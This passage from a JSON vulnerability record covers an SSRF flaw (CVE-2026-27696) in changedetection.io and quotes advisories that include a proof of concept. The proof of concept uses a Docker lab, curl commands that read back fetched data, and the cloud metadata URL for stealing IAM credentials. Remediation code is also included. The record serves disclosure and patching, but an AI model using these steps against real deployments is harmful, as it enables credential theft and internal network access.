ipaddress.ip_network('10.0.0.0/8'),      # Private (RFC 1918)\n    ipaddress.ip_network('172.16.0.0/12'),   # Private (RFC 1918)\n    ipaddress.ip_network('192.168.0.0/16'),  # Private (RFC 1918)\n    ipaddress.ip_network('169.254.0.0/16'),  # Link-local / Cloud metadata\n    ipaddress.ip_network('::1/128'),         # IPv6 loopback\n    ipaddress.ip_network('fc00::/7'),        # IPv6 unique local\n    ipaddress.ip_network('fe80::/10'),       # IPv6 link-local\n]\n\ndef is_private_ip(hostname):\n    \"\"\"Check if a hostname resolves to a private/reserved IP address.\"\"\"\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            for network in BLOCKED_NETWORKS:\n                if ip in network:\n                    return True\n    except socket.gaierror:\n        return True  # Block unresolvable hostnames\n    return False\n```\n\nThen add to `is_safe_valid_url()` before the final `return True`:\n\n```python\n# Check for private/reserved IP addresses\nparsed = urlparse(test_url)\nif parsed.hostname and is_private_ip(parsed.hostname):\n    logger.warning(f\"URL '{test_url}' resolves to a private/reserved IP address\")\n    return False\n```\n\nAn environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.",
                    "title": "github - https://github.com/advisories/GHSA-3c45-4pj5-ch7m"
                },
                {
                    "category": "description",
                    "text": "changedetection.io is a free open source web page change detection tool. In versions prior to 0.54.1, changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs. The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services. Version 0.54.1 contains a fix for the issue.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27696.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "## Summary\n\nChangedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:\n\n- `http://169.254.169.254`\n- `http://10.0.0.1/`\n- `http://127.0.0.1/`\n\nThe application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.\n\nThis is particularly severe because:\n\n- The fetched content is stored and viewable - this is not a blind SSRF\n- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources\n- By default, no password is set - the web UI is accessible without authentication\n- Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials\n\n---\n\n## Details\n\nThe URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60–122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:\n\n```python\n# changedetectionio/validate_url.py:60-122\n@lru_cache(maxsize=1000)\ndef is_safe_valid_url(test_url):\n\n    safe_protocol_regex = '^(http|https|ftp):'\n\n    # Check protocol\n    pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)\n    if not pattern.match(test_url.strip()):\n        return False\n\n    # Check URL format\n    if not validators.url(test_url, simple_host=True):\n        return False\n\n    return True  # No IP address validation performed\n```\n\nThe HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83–89) then makes the request without any additional IP validation:\n\n```python\n# changedetectionio/content_fetchers/requests.py:83-89\nr = session.request(method=request_method,\n                    url=url,            # User-provided URL, no IP validation\n                    headers=request_headers,\n                    timeout=timeout,\n                    proxies=proxies,\n                    verify=False)\n```\nThe response content is stored and made available to the user:\n\n```python\n# changedetectionio/content_fetchers/requests.py:140-142\nself.content = r.text     # Text content stored\nself.raw_content = r.content  # Raw bytes stored\n```\nThis validation gap exists in all entry points that accept watch URLs:\n\n- Web UI: `changedetectionio/store/__init__.py:718`\n- REST API: `changedetectionio/api/watch.py:163, 428`\n- Import API: `changedetectionio/api/import.py:188`\n\nAll use the same `is_safe_valid_url()` function, so a single fix addresses all paths.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- A changedetection.io instance (Docker deployment)\n- Network access to the instance (default port 5000)\n\n### Step 1: Deploy changedetection.io with an internal service\n\nCreate `internal-service.py`:\n```python\n#!/usr/bin/env python3\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header('Content-Type', 'application/json')\n        self.end_headers()\n        self.wfile.write(json.dumps({\n            'Code': 'Success',\n            'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',\n            'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',\n            'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'\n        }).encode())\nHTTPServer(('0.0.0.0', 80), H).serve_forever()\n```\n\nCreate `Dockerfile.internal`:\n```\nFROM python:3.11-slim\nCOPY internal-service.py /server.py\nCMD [\"python3\", \"/server.py\"]\n```\n\nCreate `docker-compose.yml`:\n```yaml\nversion: \"3.8\"\nservices:\n  changedetection:\n    image: ghcr.io/dgtlmoon/changedetection.io\n    ports:\n      - \"5000:5000\"\n    volumes:\n      - ./datastore:/datastore\n\n  internal-service:\n    build:\n      context: .\n      dockerfile: Dockerfile.internal\n```\n\nStart the stack:\n\n```bash\ndocker compose up -d\n```\n\n### Step 2: Add a watch for the internal service\n\nOpen `http://localhost:5000/` in a browser (no password required by default).\n\nIn the URL field, enter:\n```\nhttp://internal-service/\n```\nClick **Watch** and wait for the first check to complete.\n\n### Step 3: View the exfiltrated data\n\nClick on the watch entry, then click **Preview**. The page displays the internal service’s response containing the simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n<img width=\"2291\" height=\"780\" alt=\"Screenshot 2026-02-16 084212\" src=\"https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd\" />\n\n### Step 4: Verify via API (alternative)\n```bash\n# Get the API key (visible in Settings page of the unauthenticated web UI)\nAPI_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \\\n  python3 -c \"import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])\")\n\n# Create a watch via API\nWATCH_RESPONSE=$(curl -s -X POST \"http://localhost:5000/api/v1/watch\" \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"http://internal-service/\"}')\n\nWATCH_UUID=$(echo \"$WATCH_RESPONSE\" | python3 -c \"import sys,json; print(json.load(sys.stdin)['uuid'])\")\necho \"Watch created: $WATCH_UUID\"\n\n# Wait for the first fetch to complete\necho \"Waiting 30s for first fetch...\"\nsleep 30\n\n# Retrieve the exfiltrated data via API\nLATEST_TS=$(curl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history\" \\\n  -H \"x-api-key: $API_KEY\" | \\\n  python3 -c \"import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')\")\n\necho \"=== EXFILTRATED DATA ===\"\ncurl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS\" \\\n  -H \"x-api-key: $API_KEY\"\n```\nExpected output — the internal service’s response containing simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\nIn a real cloud deployment, replacing `http://internal-service/` with:\n\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nwould return real AWS IAM credentials.\n\n<img width=\"1140\" height=\"607\" alt=\"Screenshot 2026-02-16 084407\" src=\"https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45\" />\n\n---\n\n## Impact\n\n**Who is impacted:**  \nAll self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.\n\n**What an attacker can do:**\n\n- **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens\n- **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses\n- **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet\n- **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources\n- **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability\n\n---\n\n### Suggested Remediation\n\nAdd IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:\n\n```python\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),     # Loopback\n    ipaddress.ip_network('10.0.0.0/8'),      # Private (RFC 1918)\n    ipaddress.ip_network('172.16.0.0/12'),   # Private (RFC 1918)\n    ipaddress.ip_network('192.168.0.0/16'),  # Private (RFC 1918)\n    ipaddress.ip_network('169.254.0.0/16'),  # Link-local / Cloud metadata\n    ipaddress.ip_network('::1/128'),         # IPv6 loopback\n    ipaddress.ip_network('fc00::/7'),        # IPv6 unique local\n    ipaddress.ip_network('fe80::/10'),       # IPv6 link-local\n]\n\ndef is_private_ip(hostname):\n    \"\"\"Check if a hostname resolves to a private/reserved IP address.\"\"\"\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            for network in BLOCKED_NETWORKS:\n                if ip in network:\n                    return True\n    except socket.gaierror:\n        return True  # Block unresolvable hostnames\n    return False\n```\n\nThen add to `is_safe_valid_url()` before the final `return True`:\n\n```python\n# Check for private/reserved IP addresses\nparsed = urlparse(test_url)\nif parsed.hostname and is_private_ip(parsed.hostname):\n    logger.warning(f\"URL '{test_url}' resolves to a private/reserved IP address\")\n    return False\n```\n\nAn environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-3c45-4pj5-ch7m.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Affected versions of the changedetection.io package are vulnerable to Server-Side Request Forgery (SSRF) due to incomplete URL validation that does not block URLs resolving to private, loopback, or link-local IP ranges. The is_safe_valid_url() function in changedetectionio/validate_url.py only checks the scheme and URL format, and then changedetectionio/content_fetchers/requests.py fetches the user-supplied watch URL without resolving and validating the destination IP, affecting watch creation paths in the Web UI and the REST/Import APIs.",
                    "title": "pyupio - https://pyupio.github.io/safety-db/#changedetection.io"
                },
                {
                    "category": "other",
                    "text": "0.00044",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.4",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to a product by vendor Unknown, There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5700903",
                    "CSAFPID-1089551",
                    "CSAFPID-1089552",
                    "CSAFPID-1089553",
                    "CSAFPID-1089554",
                    "CSAFPID-1089555",
                    "CSAFPID-1089556",
                    "CSAFPID-1089557",
                    "CSAFPID-1089558",
                    "CSAFPID-1089559",
                    "CSAFPID-1089560",
                    "CSAFPID-1089562",
                    "CSAFPID-1089563",
                    "CSAFPID-1089564",
                    "CSAFPID-1089565",
                    "CSAFPID-1089566",
                    "CSAFPID-1089567",
                    "CSAFPID-1089568",
                    "CSAFPID-1089569",
                    "CSAFPID-1089570",
                    "CSAFPID-1095042",
                    "CSAFPID-2935325",
                    "CSAFPID-2935326",
                    "CSAFPID-2935327",
                    "CSAFPID-3007212",
                    "CSAFPID-3624450",
                    "CSAFPID-3624451",
                    "CSAFPID-3624452",
                    "CSAFPID-3624453",
                    "CSAFPID-3624454",
                    "CSAFPID-3624455",
                    "CSAFPID-3624456",
                    "CSAFPID-3624457",
                    "CSAFPID-3624458",
                    "CSAFPID-3624459",
                    "CSAFPID-3624460",
                    "CSAFPID-3624461",
                    "CSAFPID-3624462",
                    "CSAFPID-3624463",
                    "CSAFPID-3624464",
                    "CSAFPID-3624465",
                    "CSAFPID-3624466",
                    "CSAFPID-3624467",
                    "CSAFPID-3624468",
                    "CSAFPID-3624469",
                    "CSAFPID-3624470",
                    "CSAFPID-3624471",
                    "CSAFPID-3624472",
                    "CSAFPID-3624473",
                    "CSAFPID-3624474",
                    "CSAFPID-3624475",
                    "CSAFPID-3624476",
                    "CSAFPID-3624477",
                    "CSAFPID-3624478",
                    "CSAFPID-3624479",
                    "CSAFPID-3624480",
                    "CSAFPID-3624481",
                    "CSAFPID-3624482",
                    "CSAFPID-3624483",
                    "CSAFPID-3624484",
                    "CSAFPID-3624485",
                    "CSAFPID-3624486",
                    "CSAFPID-3624487",
                    "CSAFPID-3624488",
                    "CSAFPID-3624489",
                    "CSAFPID-3624490",
                    "CSAFPID-3624491",
                    "CSAFPID-3624492",
                    "CSAFPID-3624493",
                    "CSAFPID-3624494",
                    "CSAFPID-3624495",
                    "CSAFPID-3624496",
                    "CSAFPID-3624497",
                    "CSAFPID-3624498",
                    "CSAFPID-3624499",
                    "CSAFPID-3624500",
                    "CSAFPID-3624501",
                    "CSAFPID-3624502",
                    "CSAFPID-3624503",
                    "CSAFPID-3624504",
                    "CSAFPID-3624505",
                    "CSAFPID-3624506",
                    "CSAFPID-3624507",
                    "CSAFPID-3624508",
                    "CSAFPID-3624509",
                    "CSAFPID-3624510",
                    "CSAFPID-3624511",
                    "CSAFPID-3624512",
                    "CSAFPID-3624513",
                    "CSAFPID-3624514",
                    "CSAFPID-3624515",
                    "CSAFPID-3624516",
                    "CSAFPID-3624517",
                    "CSAFPID-3624518",
                    "CSAFPID-3624519",
                    "CSAFPID-3624520",
                    "CSAFPID-3624521",
                    "CSAFPID-3624522",
                    "CSAFPID-3624523",
                    "CSAFPID-3624524",
                    "CSAFPID-3624525",
                    "CSAFPID-3624526",
                    "CSAFPID-3624527",
                    "CSAFPID-3624528",
                    "CSAFPID-3624529",
                    "CSAFPID-3624530",
                    "CSAFPID-3624531",
                    "CSAFPID-3760074",
                    "CSAFPID-3760075",
                    "CSAFPID-3760076",
                    "CSAFPID-3760077",
                    "CSAFPID-3760078",
                    "CSAFPID-3760079",
                    "CSAFPID-3760080",
                    "CSAFPID-3760081",
                    "CSAFPID-3760082",
                    "CSAFPID-3760083",
                    "CSAFPID-3760084",
                    "CSAFPID-3760085",
                    "CSAFPID-3760086",
                    "CSAFPID-3760087",
                    "CSAFPID-3760088",
                    "CSAFPID-3760089",
                    "CSAFPID-3760090",
                    "CSAFPID-3760091",
                    "CSAFPID-3760092",
                    "CSAFPID-3760093",
                    "CSAFPID-3760094",
                    "CSAFPID-3760095",
                    "CSAFPID-3760096",
                    "CSAFPID-3760097",
                    "CSAFPID-3760098",
                    "CSAFPID-3760099",
                    "CSAFPID-3760100",
                    "CSAFPID-3760101",
                    "CSAFPID-3760102",
                    "CSAFPID-3760103",
                    "CSAFPID-3760104",
                    "CSAFPID-3760105",
                    "CSAFPID-3760106",
                    "CSAFPID-3760107",
                    "CSAFPID-3760108",
                    "CSAFPID-3760109",
                    "CSAFPID-3760110",
                    "CSAFPID-3760111",
                    "CSAFPID-3760112",
                    "CSAFPID-3760113",
                    "CSAFPID-3760114",
                    "CSAFPID-5178108",
                    "CSAFPID-5178109",
                    "CSAFPID-5178110",
                    "CSAFPID-5178111",
                    "CSAFPID-5178112",
                    "CSAFPID-5178113",
                    "CSAFPID-5178114",
                    "CSAFPID-5178115",
                    "CSAFPID-5178116",
                    "CSAFPID-5178117",
                    "CSAFPID-5178118",
                    "CSAFPID-5178119",
                    "CSAFPID-5178120",
                    "CSAFPID-5178121",
                    "CSAFPID-5178122",
                    "CSAFPID-5178123",
                    "CSAFPID-5178124",
                    "CSAFPID-5178125",
                    "CSAFPID-5178126",
                    "CSAFPID-5178127",
                    "CSAFPID-5178128",
                    "CSAFPID-5178129",
                    "CSAFPID-5178130",
                    "CSAFPID-5178131",
                    "CSAFPID-5178132",
                    "CSAFPID-5178133",
                    "CSAFPID-5178134",
                    "CSAFPID-5178135",
                    "CSAFPID-5178136",
                    "CSAFPID-5178137",
                    "CSAFPID-5633887",
                    "CSAFPID-5713303",
                    "CSAFPID-5713304",
                    "CSAFPID-5713305",
                    "CSAFPID-5713306",
                    "CSAFPID-5713307",
                    "CSAFPID-5713308",
                    "CSAFPID-5713309",
                    "CSAFPID-5713310",
                    "CSAFPID-5713311",
                    "CSAFPID-5713312",
                    "CSAFPID-5713313",
                    "CSAFPID-5713314",
                    "CSAFPID-5713315",
                    "CSAFPID-5713316",
                    "CSAFPID-5713317",
                    "CSAFPID-5713318",
                    "CSAFPID-5713319",
                    "CSAFPID-5713320",
                    "CSAFPID-5713321",
                    "CSAFPID-5713322",
                    "CSAFPID-5713323",
                    "CSAFPID-5713324",
                    "CSAFPID-5713325",
                    "CSAFPID-5713326",
                    "CSAFPID-5713327",
                    "CSAFPID-5713328",
                    "CSAFPID-5713329",
                    "CSAFPID-5713330",
                    "CSAFPID-5713331",
                    "CSAFPID-5723136",
                    "CSAFPID-5723137",
                    "CSAFPID-5723138",
                    "CSAFPID-5723139",
                    "CSAFPID-5723140",
                    "CSAFPID-5723141",
                    "CSAFPID-5723142",
                    "CSAFPID-5723143",
                    "CSAFPID-5723144",
                    "CSAFPID-5723145",
                    "CSAFPID-5723146",
                    "CSAFPID-5723147",
                    "CSAFPID-5723148",
                    "CSAFPID-5723149",
                    "CSAFPID-5723150",
                    "CSAFPID-5723151",
                    "CSAFPID-5723152",
                    "CSAFPID-5723153",
                    "CSAFPID-5723154",
                    "CSAFPID-5723155",
                    "CSAFPID-5723156",
                    "CSAFPID-5723157",
                    "CSAFPID-5723158",
                    "CSAFPID-5723159",
                    "CSAFPID-5723160",
                    "CSAFPID-5723161",
                    "CSAFPID-5723162",
                    "CSAFPID-5723163",
                    "CSAFPID-5723164",
                    "CSAFPID-5723165",
                    "CSAFPID-5723166",
                    "CSAFPID-5723167",
                    "CSAFPID-5723168",
                    "CSAFPID-5723169",
                    "CSAFPID-5723170",
                    "CSAFPID-5723171",
                    "CSAFPID-5723172",
                    "CSAFPID-5723173",
                    "CSAFPID-5723174",
                    "CSAFPID-5723175",
                    "CSAFPID-5723176",
                    "CSAFPID-5723177",
                    "CSAFPID-5723178",
                    "CSAFPID-5723179",
                    "CSAFPID-5723180",
                    "CSAFPID-5723181",
                    "CSAFPID-5723182",
                    "CSAFPID-5723183",
                    "CSAFPID-5723184",
                    "CSAFPID-5723185",
                    "CSAFPID-5723186",
                    "CSAFPID-5723187",
                    "CSAFPID-5723188",
                    "CSAFPID-5723189",
                    "CSAFPID-5723190",
                    "CSAFPID-5723191",
                    "CSAFPID-5723192",
                    "CSAFPID-5723193",
                    "CSAFPID-5723194",
                    "CSAFPID-5723195",
                    "CSAFPID-5723196",
                    "CSAFPID-5723197",
                    "CSAFPID-5723198",
                    "CSAFPID-5723199",
                    "CSAFPID-5723200",
                    "CSAFPID-5723201",
                    "CSAFPID-5723202",
                    "CSAFPID-5723203",
                    "CSAFPID-5723204",
                    "CSAFPID-5723205",
                    "CSAFPID-5723206",
                    "CSAFPID-5723207",
                    "CSAFPID-5723208",
                    "CSAFPID-5723209",
                    "CSAFPID-5723210",
                    "CSAFPID-5723211",
                    "CSAFPID-5723212",
                    "CSAFPID-5723213",
                    "CSAFPID-5723214",
                    "CSAFPID-5723215",
                    "CSAFPID-5723216",
                    "CSAFPID-5723217",
                    "CSAFPID-5723218",
                    "CSAFPID-5723219",
                    "CSAFPID-5723220",
                    "CSAFPID-5723221",
                    "CSAFPID-5723222",
                    "CSAFPID-5723223",
                    "CSAFPID-5723224",
                    "CSAFPID-5723225",
                    "CSAFPID-5723226",
                    "CSAFPID-5723227",
                    "CSAFPID-5723228",
                    "CSAFPID-5723229",
                    "CSAFPID-5723230",
                    "CSAFPID-5723231",
                    "CSAFPID-5723232",
                    "CSAFPID-5723233",
                    "CSAFPID-5723234",
                    "CSAFPID-5723235",
                    "CSAFPID-5723236",
                    "CSAFPID-5723237",
                    "CSAFPID-5723238",
                    "CSAFPID-5723239",
                    "CSAFPID-5723240",
                    "CSAFPID-5723241",
                    "CSAFPID-5723242",
                    "CSAFPID-5723243",
                    "CSAFPID-5723244",
                    "CSAFPID-5723245",
                    "CSAFPID-5723246",
                    "CSAFPID-5723247",
                    "CSAFPID-5723248",
                    "CSAFPID-5723249",
                    "CSAFPID-5723250",
                    "CSAFPID-5723251",
                    "CSAFPID-5723252",
                    "CSAFPID-5723253",
                    "CSAFPID-5723254",
                    "CSAFPID-5723255",
                    "CSAFPID-5723256",
                    "CSAFPID-5723257",
                    "CSAFPID-5723258",
                    "CSAFPID-5723259",
                    "CSAFPID-5723260",
                    "CSAFPID-5723261",
                    "CSAFPID-5723262",
                    "CSAFPID-5723263",
                    "CSAFPID-5723264",
                    "CSAFPID-5723265",
                    "CSAFPID-5723266",
                    "CSAFPID-5723267",
                    "CSAFPID-5723268",
                    "CSAFPID-5723269",
                    "CSAFPID-5723270",
                    "CSAFPID-5723271",
                    "CSAFPID-5723272",
                    "CSAFPID-5723273",
                    "CSAFPID-5723274",
                    "CSAFPID-5723275",
                    "CSAFPID-5723276",
                    "CSAFPID-5723277",
                    "CSAFPID-5723278",
                    "CSAFPID-5723279",
                    "CSAFPID-5723280",
                    "CSAFPID-5723281",
                    "CSAFPID-5723282",
                    "CSAFPID-5723283",
                    "CSAFPID-5723284",
                    "CSAFPID-5723285",
                    "CSAFPID-5723286",
                    "CSAFPID-5723287",
                    "CSAFPID-5723288",
                    "CSAFPID-5723289",
                    "CSAFPID-5723290",
                    "CSAFPID-5723291",
                    "CSAFPID-5723292",
                    "CSAFPID-5723294",
                    "CSAFPID-5723295",
                    "CSAFPID-5723296",
                    "CSAFPID-5723297",
                    "CSAFPID-5723298",
                    "CSAFPID-5723299",
                    "CSAFPID-5723301",
                    "CSAFPID-5723302",
                    "CSAFPID-5723303",
                    "CSAFPID-5723304",
                    "CSAFPID-5723305",
                    "CSAFPID-5723306",
                    "CSAFPID-5723307",
                    "CSAFPID-5723308",
                    "CSAFPID-5723309",
                    "CSAFPID-5723310",
                    "CSAFPID-5723311",
                    "CSAFPID-5723312",
                    "CSAFPID-5723313",
                    "CSAFPID-5723314",
                    "CSAFPID-5723315",
                    "CSAFPID-5723316",
                    "CSAFPID-5723317",
                    "CSAFPID-5723318",
                    "CSAFPID-5723319",
                    "CSAFPID-5723320",
                    "CSAFPID-5723321",
                    "CSAFPID-5723322",
                    "CSAFPID-5723327",
                    "CSAFPID-5723328",
                    "CSAFPID-5706526",
                    "CSAFPID-5753601"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27696"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-27696"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27696.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27696"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-3c45-4pj5-ch7m"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-3c45-4pj5-ch7m"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27696.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-3c45-4pj5-ch7m.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - pyupio",
                    "url": "https://pyupio.github.io/safety-db/#changedetection.io"
                },
                {
                    "category": "external",
                    "summary": "Source raw - pyupio",
                    "url": "https://raw.githubusercontent.com/pyupio/safety-db/refs/heads/master/data/insecure_full.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/dgtlmoon/changedetection.io/commit/fe7aa38c651d73fe5f41ce09855fa8f97193747b"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-3c45-4pj5-ch7m"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27696.json"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
                        "baseScore": 8.6,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-1089551",
                        "CSAFPID-1089552",
                        "CSAFPID-1089553",
                        "CSAFPID-1089554",
                        "CSAFPID-1089555",
                        "CSAFPID-1089556",
                        "CSAFPID-1089557",
                        "CSAFPID-1089558",
                        "CSAFPID-1089559",
                        "CSAFPID-1089560",
                        "CSAFPID-1089562",
                        "CSAFPID-1089563",
                        "CSAFPID-1089564",
                        "CSAFPID-1089565",
                        "CSAFPID-1089566",
                        "CSAFPID-1089567",
                        "CSAFPID-1089568",
                        "CSAFPID-1089569",
                        "CSAFPID-1089570",
                        "CSAFPID-1095042",
                        "CSAFPID-2935325",
                        "CSAFPID-2935326",
                        "CSAFPID-2935327",
                        "CSAFPID-3007212",
                        "CSAFPID-3624450",
                        "CSAFPID-3624451",
                        "CSAFPID-3624452",
                        "CSAFPID-3624453",
                        "CSAFPID-3624454",
                        "CSAFPID-3624455",
                        "CSAFPID-3624456",
                        "CSAFPID-3624457",
                        "CSAFPID-3624458",
                        "CSAFPID-3624459",
                        "CSAFPID-3624460",
                        "CSAFPID-3624461",
                        "CSAFPID-3624462",
                        "CSAFPID-3624463",
                        "CSAFPID-3624464",
                        "CSAFPID-3624465",
                        "CSAFPID-3624466",
                        "CSAFPID-3624467",
                        "CSAFPID-3624468",
                        "CSAFPID-3624469",
                        "CSAFPID-3624470",
                        "CSAFPID-3624471",
                        "CSAFPID-3624472",
                        "CSAFPID-3624473",
                        "CSAFPID-3624474",
                        "CSAFPID-3624475",
                        "CSAFPID-3624476",
                        "CSAFPID-3624477",
                        "CSAFPID-3624478",
                        "CSAFPID-3624479",
                        "CSAFPID-3624480",
                        "CSAFPID-3624481",
                        "CSAFPID-3624482",
                        "CSAFPID-3624483",
                        "CSAFPID-3624484",
                        "CSAFPID-3624485",
                        "CSAFPID-3624486",
                        "CSAFPID-3624487",
                        "CSAFPID-3624488",
                        "CSAFPID-3624489",
                        "CSAFPID-3624490",
                        "CSAFPID-3624491",
                        "CSAFPID-3624492",
                        "CSAFPID-3624493",
                        "CSAFPID-3624494",
                        "CSAFPID-3624495",
                        "CSAFPID-3624496",
                        "CSAFPID-3624497",
                        "CSAFPID-3624498",
                        "CSAFPID-3624499",
                        "CSAFPID-3624500",
                        "CSAFPID-3624501",
                        "CSAFPID-3624502",
                        "CSAFPID-3624503",
                        "CSAFPID-3624504",
                        "CSAFPID-3624505",
                        "CSAFPID-3624506",
                        "CSAFPID-3624507",
                        "CSAFPID-3624508",
                        "CSAFPID-3624509",
                        "CSAFPID-3624510",
                        "CSAFPID-3624511",
                        "CSAFPID-3624512",
                        "CSAFPID-3624513",
                        "CSAFPID-3624514",
                        "CSAFPID-3624515",
                        "CSAFPID-3624516",
                        "CSAFPID-3624517",
                        "CSAFPID-3624518",
                        "CSAFPID-3624519",
                        "CSAFPID-3624520",
                        "CSAFPID-3624521",
                        "CSAFPID-3624522",
                        "CSAFPID-3624523",
                        "CSAFPID-3624524",
                        "CSAFPID-3624525",
                        "CSAFPID-3624526",
                        "CSAFPID-3624527",
                        "CSAFPID-3624528",
                        "CSAFPID-3624529",
                        "CSAFPID-3624530",
                        "CSAFPID-3624531",
                        "CSAFPID-3760074",
                        "CSAFPID-3760075",
                        "CSAFPID-3760076",
                        "CSAFPID-3760077",
                        "CSAFPID-3760078",
                        "CSAFPID-3760079",
                        "CSAFPID-3760080",
                        "CSAFPID-3760081",
                        "CSAFPID-3760082",
                        "CSAFPID-3760083",
                        "CSAFPID-3760084",
                        "CSAFPID-3760085",
                        "CSAFPID-3760086",
                        "CSAFPID-3760087",
